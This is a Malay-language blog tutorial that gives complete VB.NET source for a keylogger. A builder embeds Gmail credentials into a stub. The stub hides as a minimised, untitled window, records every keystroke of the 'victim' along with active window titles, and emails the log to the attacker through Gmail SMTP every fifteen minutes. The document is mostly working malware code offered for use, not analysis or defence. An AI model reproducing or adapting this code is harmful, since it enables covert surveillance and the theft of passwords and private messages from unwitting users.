Tutorial kali ini saya akan membincangkan mengenai bagaimana untuk membuat keylogger dalam Visual Basic .NET yang juga dikenali sebagai VB8
Sebelum itu saya akan terangkan kepada anda sesuatu yang penting mengenai Visual Basic ni.
Visual Basic adalah bahasa program yang dicipta oleh Microsoft Corporation.
Ia merupakan bahasa program yang amat popular di dunia dan untuk mudah digunakan.
Bagi yang baru saja belajar menggunakan Visual Basic, jangan tahu copy paste saja tutorial ini untuk belajar, tetapi cara yang terbaik ialah belajar membaca dan mengkaji sumber. Mungkin ia terlalu advance untuk anda faham, anda akan mencari jalan untuk memahaminya. Seperti saya ^_^
Ok, sekarang saya akan menerangkan kepada anda tentang bahasa program ini dan bagaimana komputer memahaminya.
Komputer tidak akan memahami bahasa yang seseorang itu bercakap seperti dalam bahasa Melayu. ( bukan menulis tetapi bercakap )
Jadi kita mesti memahami mesin tersebuat dan belajar bahasa yang komputer dapat memahaminya.
Disinilah Visual Basic itu menjadi penting.Apabila anda menaip code Visual Basic kedalam komputer,komputer akan memproseslan keyataan tersebut ke dalam bahasa Visual Basic.
PERHATIAN
Ia tidak berfungsi didalam window7 & Vista kerana nama .dll yang saya gunakan untuk mendapatkan "key" bukan nama untuk window7 & Vista.
Anda boleh Google nama .dll library untuk Window7 & Vista
STEP 1 :
Download Visual Basic Express Edition 2008 (free) jika anda tiada lagi
STEP 2 :
Run Visual Basic
Dalam Tab klik File > New Project
Window Application > "Keylogger Builder" > klik Ok
STEP 3 :
Change the following from the Properties of Form1:
FormBorderStyle = FixedSingle
MaximizeBox = False
MinimizeBox = False
Show Icon = False
StartPosition = CenterScreen
Text = Keylogger Builder
Dari Toolbox tambah :
TextBox1 – The GMail Username textbox
Textbox2 – The Gmail Password textbox
Button1 – The Build button, Change text to: Build
Label1 – Change text to: Gmail Username
Label2 – Change text to: Gmail Password
STEP 4 :
Sekarang selepas anda menambah semua itu, diatas code tambah :
Code :
Imports System.IO
Sekarang bawah Public Access Form1 tambah code berikut :
Code:
Dim stub, text1, text2 As String
Const FileSplit = "@keylogger@"
Siap,double klik saja Button1 dan tambah :
Code:
text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
If File.Exists("Server.exe") Then
My.Computer.FileSystem.DeleteFile("Server.exe")
End If
FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit)
FileClose(1)
MsgBox("The Server.exe is builded!")
Sekarang anda sudah ada builder anda dan beralih pula ke Stub
STEP 5 :
Run Visual Basic
Pada Tab klik File > New Project
Window Application > "Stub" > Klik OK
STEP 6 :
Tukar kepada yang berikut :
ormBorderStyle = FixedToolWindow
StartPosition = CenterScreen
Text = (no text)
WindowsState = Minimized
Pada Toolbox tambah :
Textbox1 – KEY LOGGER(follow everything what victim write)
Textbox2 – GMail Username
Textbox3 – GMail Password
Timer1 – Upload Interval
Timer2 – Get name of window where keylogger get
keys(userful)
Timer3 – Get Keys
Timer1 Interval = 900000
Timer2 Interval = 100
Timer3 Interval = 100
STEP 7 :
Selepas anda selesai, tambah di atas code :
Code:
Imports System.IO
Imports System.Net.Mail
Now under Public Class Form1 add following code, that would be strings:
Code:
Dim options(), text1, text2 As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Const FileSplit = "@keylogger@"
Double klik saja Timer1 dan tulis code seperti berikut :
Code:
Dim MailSetup As New MailMessage
MailSetup.Subject = My.Computer.Name & ":"
MailSetup.To.Add(TextBox2.Text)
MailSetup.From = New MailAddress(TextBox2.Text)
MailSetup.Body = TextBox1.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
SMTP.Send(MailSetup)
TextBox1.Clear()
Code:
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Dim strin As String = Nothing
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
Double klik pada Timer2 untuk dapatkan nama bagi aktifkan window
Code:
If strin <> GetActiveWindowTitle() Then
TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle() & "]:" + vbNewLine
strin = GetActiveWindowTitle()
End If
Sekarang double klik Form1 dan tulis code berikut :
Code:
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
FileGet(1, text1)
FileGet(1, text2)
FileClose(1)
options = Split(text1, FileSplit)
TextBox2.Text = options(1)
TextBox3.Text = options(2)
Timer1.Start()
Timer2.Start()
Double klik pada Timer3
Code:
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
STEP 8 :
Thank To Alien Crew
0 ulasan:
Post a Comment
Please Do Not Spam Here Moron. Everyone Welcome Here.